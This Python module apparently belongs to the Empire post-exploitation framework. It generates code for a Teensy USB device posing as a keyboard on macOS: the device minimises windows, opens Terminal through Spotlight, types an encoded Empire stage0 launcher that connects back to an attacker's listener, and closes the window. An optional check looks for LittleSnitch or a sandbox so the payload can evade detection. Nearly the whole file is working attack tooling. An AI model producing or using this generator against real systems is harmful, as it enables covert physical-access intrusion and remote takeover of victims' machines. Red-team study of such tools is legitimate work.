from __future__ import print_function

from builtins import object

from empire.server.common import helpers


class Stager(object):
    def __init__(self, mainMenu, params=[]):

        self.info = {
            "Name": "TeensyLauncher",
            "Author": ["Matt @matterpreter Hand"],
            "Description": "Generates a Teensy script that runs a one-liner stage0 launcher for Empire.",
            "Comments": [""],
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            "Listener": {
                "Description": "Listener to generate stager for.",
                "Required": True,
                "Value": "",
            },
            "Language": {
                "Description": "Language of the stager to generate.",
                "Required": True,
                "Value": "python",
                "SuggestedValues": ["python"],
                "Strict": True,
            },
            "OutFile": {
                "Description": "Filename that should be used for the generated output, otherwise returned as a string.",
                "Required": False,
                "Value": "",
            },
            "SafeChecks": {
                "Description": "Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. "
                "Defaults to True.",
                "Required": True,
                "Value": "True",
                "SuggestedValues": ["True", "False"],
                "Strict": True,
            },
            "UserAgent": {
                "Description": "User-agent string to use for the staging request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]["Value"] = value

    def generate(self):

        # extract all of our options
        language = self.options["Language"]["Value"]
        listener_name = self.options["Listener"]["Value"]
        user_agent = self.options["UserAgent"]["Value"]
        safe_checks = self.options["SafeChecks"]["Value"]

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(
            listener_name,
            language=language,
            encode=True,
            userAgent=user_agent,
            safeChecks=safe_checks,
        )

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""

        else:
            launcher = launcher.replace('"', '\\"')

            teensy_code = "void clearKeys (){\n"
            teensy_code += "    delay(200);\n"
            teensy_code += "    Keyboard.set_key1(0);\n"
            teensy_code += "    Keyboard.set_key2(0);\n"
            teensy_code += "    Keyboard.set_key3(0);\n"
            teensy_code += "    Keyboard.set_key4(0);\n"
            teensy_code += "    Keyboard.set_key5(0);\n"
            teensy_code += "    Keyboard.set_key6(0);\n"
            teensy_code += "    Keyboard.set_modifier(0);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "}\n\n"
            teensy_code += "void mac_minWindows(void) {\n"
            teensy_code += "    delay(200);\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += (
                "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);\n"
            )
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    Keyboard.set_key1(KEY_H);\n"
            teensy_code += "    Keyboard.set_key2(KEY_M);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void mac_openSpotlight(void) {\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.set_key1(KEY_SPACE);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void mac_openTerminal(void) {\n"
            teensy_code += "    delay(200);\n"
            teensy_code += '    Keyboard.print("Terminal");\n'
            teensy_code += "    delay(500);\n"
            teensy_code += "    Keyboard.set_key1(KEY_ENTER);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_GUI);\n"
            teensy_code += "    Keyboard.set_key1(KEY_N);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void empire(void) {\n"
            teensy_code += "    delay(500);\n"
            teensy_code += "    mac_minWindows();\n"
            teensy_code += "    mac_minWindows();\n"
            teensy_code += "    delay(500);\n"
            teensy_code += "    mac_openSpotlight();\n"
            teensy_code += "    mac_openTerminal();\n"
            teensy_code += "    delay(2500);\n"
            teensy_code += '    Keyboard.print("' + launcher + '");\n'
            teensy_code += "    Keyboard.set_key1(KEY_ENTER);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "    delay(1000);\n"
            teensy_code += '    Keyboard.println("exit");\n'
            teensy_code += "}\n\n"
            teensy_code += "void setup(void) {\n"
            teensy_code += "    empire();\n"
            teensy_code += "}\n\n"
            teensy_code += "void loop() {}"

            return teensy_code
